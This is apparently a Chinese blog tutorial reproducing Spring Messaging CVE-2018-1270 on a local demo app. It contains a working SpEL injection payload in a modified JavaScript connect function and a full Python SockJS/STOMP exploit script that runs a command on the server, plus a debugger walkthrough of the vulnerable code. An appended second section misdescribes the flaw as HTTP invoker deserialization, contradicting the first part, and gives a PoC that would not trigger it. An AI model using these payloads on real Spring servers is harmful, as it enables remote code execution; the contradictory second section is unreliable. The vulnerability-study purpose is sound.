Spring message(CVE-2018-1270)在IDEA中进行复现

一.首先获取对应漏洞的源码
获取源码的方式与之前的文章大致相同,但是由于本片漏洞需要环境比较简单,因此我们只需要利用官方给的demo就可以完成复现地址为https://github.com/spring-guides/gs-messaging-stomp-websocket,之后进入到IDEA中打开其中的complete包,之后需要更改对应Springboot的版本,在这里插入图片描述修改之后的就可以完成对于环境的搭建过程
二.漏洞原理与复现
本次漏洞的原理主要出现在我们可以篡改Js代码,修改connect函数通过增加一个selector,并且注入SpEL表达式,这样由于对于SpEL表达式没有进行过滤而导致最终实现远程RCE.
复现的过程首先就是首先构造恶意的Connect函数,打开网页浏览器的控制台
在这里插入图片描述将代码输入对应的js代码如下

function connect() {
    var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};
    var socket = new SockJS('/gs-guide-websocket');
    stompClient = Stomp.over(socket);
    stompClient.connect({}, function (frame) {
        setConnected(true);
        console.log('Connected: ' + frame);
        stompClient.subscribe('/topic/greetings', function (greeting) {
            showGreeting(JSON.parse(greeting.body).content);
        },header);
    });
}

之后就可以点击connect在这里插入图片描述点击connect函数之后我们就可以发现升级为websocket协议的流程,首先是客户端发起connect请求,之后服务器端收到请求之后返回给客户端,之后客户端发送subscribe,在这里面就可以发现我们之前构造好的SpEL表达式
在这里插入图片描述之后只需要我们在send的里面随便填写一些内容,就可以是实现远程RCE了在这里插入图片描述这样就完成了对于漏洞的复现,此外根据其他人写的python脚本,我们也可以实现对于漏洞的攻击

import requests
import random
import string
import time
import threading
import logging
import sys
import json

logging.basicConfig(stream=sys.stdout, level=logging.INFO)


def random_str(length):
    letters = string.ascii_lowercase + string.digits
    return ''.join(random.choice(letters) for c in range(length))


class SockJS(threading.Thread):
    def __init__(self, url, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
        self.daemon = True
        self.session = requests.session()
        self.session.headers = {
            'Referer': url,
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
        }
        self.t = int(time.time() * 1000)

    def run(self):
        url = f'{self.base}/htmlfile?c=_jp.vulhub'
        print(url)
        response = self.session.get(url, stream=True)
        for line in response.iter_lines():
            time.sleep(0.5)

    def send(self, command, headers, body=''):
        data = [command.upper(), '\n']

        data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))

        data.append('\n\n')
        data.append(body)
        data.append('\x00')
        data = json.dumps([''.join(data)])
        print(self.base)
        print(data)
        response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
        if response.status_code != 204:
            logging.info(f"send '{command}' data error.")
        else:
            logging.info(f"send '{command}' data success.")

    def __del__(self):
        self.session.close()


sockjs = SockJS('http://127.0.0.1:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)

sockjs.send('connect', {
    'accept-version': '1.1,1.0',
    'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
    'selector': "T(java.lang.Runtime).getRuntime().exec('calc')",
    'id': 'sub-0',
    'destination': '/topic/greetings'
})

data = json.dumps({'name': 'a2ure'})
sockjs.send('send', {
    'content-length': len(data),
    'destination': '/app/hello'
}, data)

对于上述脚本主要的原理我们可以进行分析,首先创建SockJs类,继承了Thread类,之后重写对应方法,主要目的还是要实现对于connect,subscribe,以及send的三个方法,其中base
我们可以看到在这里插入图片描述在浏览器中拦截的对应包中就是对应的规格。
本来我想根据Python的selenium包实现自动对于漏洞的攻击,但是由于没办法修改connect函数最终失败
三.漏洞攻击成功原理
本次漏洞的主要成因还是因为SpEL的解析,因此我们只需要找到在哪里解析的SpEL,我们就可以找到漏洞,因此我们定位到org.springframework.messaging.simp.broker包下的filterSubscriptions类
在这里插入图片描述我们只需要执行到这个语句,就可以实现对于SpEL的执行,但是由于这个类之前会有这个判断在这里插入图片描述因此我们需要让selectorHeaderInUse不为空,这时就用上我们之前所说的subscribe了,之前在重写connect方法时加入了selector因此我们就会调用
在这里插入图片描述这个方法,这个方法就会将之前说的值置为true,这样就完成了对于漏洞的构造,因此根据所说的链,我们可以动态调试运行一下验证对应的漏洞。
首先开启debug模式,然后重写connect方法,这时就会执行到我们的对应断点在这里插入图片描述此外根据下方IDEA中的值我们可以了解到,之前攻击脚本中随机产生的8位数为sessionid
在这里插入图片描述在这里插入图片描述之后我们继续执行就会将selectorHeaderInUse置为true,之后的代码我们可以跳过,直到执行到在这里插入图片描述到这里就需要我们send一个数据
在这里插入图片描述就会绕过对应的判断,之后一直执行到
在这里插入图片描述到这里之后就会执行SPEL表达式,因此就会弹出计算机
在这里插入图片描述就实现对应的代码执行
四.总结
本次漏洞主要还是依据SPEL表达式没有进行过滤,因此会出现这样的情况,此外本次漏洞复现过程中,一直希望利用python的selenium模拟,来实现对于漏洞的攻击,但是由于没办法修改connect函数,找了很多资料也不能成果,最终放弃了对于python自动化攻击脚本的编写。

### Spring CVE-2018-1270 漏洞复现教程 #### 背景介绍 Spring Framework 是一个广泛使用的 Java 开发框架,提供了丰富的功能来简化企业级应用开发。然而,在某些版本中存在安全漏洞,可能导致远程代码执行 (RCE) 的风险。CVE-2018-1270 就是一个典型的例子,它存在于 `org.springframework.messaging` 包中的 `Http invoker request deserialization` 功能中。 该漏洞允许攻击者通过发送恶意序列化的 HTTP 请求数据包触发 RCE 攻击[^4]。 --- #### 影响范围 此漏洞影响以下版本: - **Spring Framework 5.0 到 5.0.4** - **Spring Framework 4.3 到 4.3.14** 不受影响的修复版本为: - **5.0.x 用户应升级至 5.0.5** - **4.3.x 用户应升级至 4.3.15** --- #### 漏洞原理 当应用程序启用了基于 XML 或 JSON 的反序列化机制时,如果未正确验证输入的数据,则可能被利用来进行任意代码执行。具体来说,`AbstractRemoteInvocationHandler` 类会尝试解析传入的消息并调用目标对象的方法。由于缺乏严格的类型检查,攻击者可以注入恶意 payload 来实现远程命令执行[^3]。 --- #### 复现环境搭建 为了重现此漏洞,通常需要准备如下工具和资源: 1. **Docker 容器**: 使用 vulhub 提供的标准镜像快速部署测试环境。 2. **POC 工具**: 编写或下载可用的 Proof of Concept (PoC) 脚本用于模拟攻击行为。 以下是具体的步骤说明: ##### 步骤一:安装 Docker 和 Compose 确保本地机器上已经安装好 Docker 及其扩展组件 docker-compose。 ##### 步骤二:拉取漏洞演示镜像 运行以下命令获取官方提供的漏洞实验场景: ```bash git clone https://github.com/vulhub/vulhub.git cd vulhub/spring/CVE-2018-1270/ docker-compose up -d ``` 等待服务启动完成后访问地址确认正常工作状态。 ##### 步骤三:编写 PoC 测试脚本 下面展示了一个简单的 Python 实现方式作为参考案例之一: ```python import requests url = "http://localhost:8080/" payload = { 'exploit': '''T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')''' } try: response = requests.post(url, data=payload) print(response.text) except Exception as e: print(f"Error occurred: {e}") ``` 上述代码片段试图向服务器提交一段能够触碰文件 `/tmp/success` 的指令以证明控制权已被夺取成功与否可通过查看是否存在指定路径下的标记文件得知结果如何。 --- #### 验证效果 一旦完成以上操作流程之后再次登录容器内部检验预期成果是否达成即观察是否有新生成的目标文档出现表明整个过程顺利完成无误: ```bash docker-compose exec spring bash ls /tmp/ # 应能看到 success 文件 ``` --- #### 总结建议 针对此类高危级别的缺陷应当及时采取措施加以防范比如尽快迁移到最新稳定发行版或者关闭不必要的网络接口减少暴露面从而降低遭受潜在威胁的可能性同时也要定期审查第三方依赖库的安全公告以便第一时间响应相应更新通知。 ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值